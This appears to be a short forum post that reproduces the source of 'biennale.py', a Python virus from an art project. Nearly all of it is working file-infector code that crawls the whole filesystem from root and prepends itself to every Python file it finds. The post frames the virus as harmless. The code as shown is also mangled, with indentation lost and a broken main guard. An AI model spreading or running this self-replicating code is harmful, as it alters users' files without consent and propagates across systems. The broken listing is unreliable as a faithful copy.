This is something I read long ago. First virus created using python created not to harm people but to show that python's potential.
Web page for the virus:
http://www.0100101110101101.org/home/biennale_py/index.html
The source code is
# biennale.py _ go to 49th Biennale di Venezia
# HTTP://WWW.0100101110101101.ORG [epidemiC] http://www.epidemic.ws
from dircache import *
from string import *
import os, sys
from stat import *
def fornicate(guest):
try:
soul = open(guest, "r")
body = soul.read()
soul.close()
if find(body, "[epidemiC]") == -1:
soul = open(guest, "w")
soul.write(mybody + "\n\n" + body)
soul.close()
except IOError: pass
def chat(party, guest):
if split(guest, ".")[-1] in ("py", "pyw"):
fornicate(party + guest)
def join(party):
try:
if not S_ISLNK(os.stat(party)[ST_MODE]):
guestbook = listdir(party)
if party != "/": party = party + "/"
if not lower(party) in wank and not ".py" in guestbook:
for guest in guestbook:
chat(party, guest)
join(party + guest)
except OSError: pass
if == '':
mysoul = open(sys.argv[0])
mybody = mysoul.read()
mybody = mybody[:find(mybody, "#"*3) + 3]
mysoul.close()
blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
if blacklist[-1] != "/": blacklist = blacklist + "/"
wank = [lower(blacklist), "/proc/", "/dev/"]
join("/")
print "> This file was contaminated by biennale.py, the world slowest virus."
print "Either Linux or Windows, biennale.py is definetely the first Python virus."
print "[epidemiC] http://www.epidemic.ws HTTP://WWW.0100101110101101.ORG "
print "> <"
###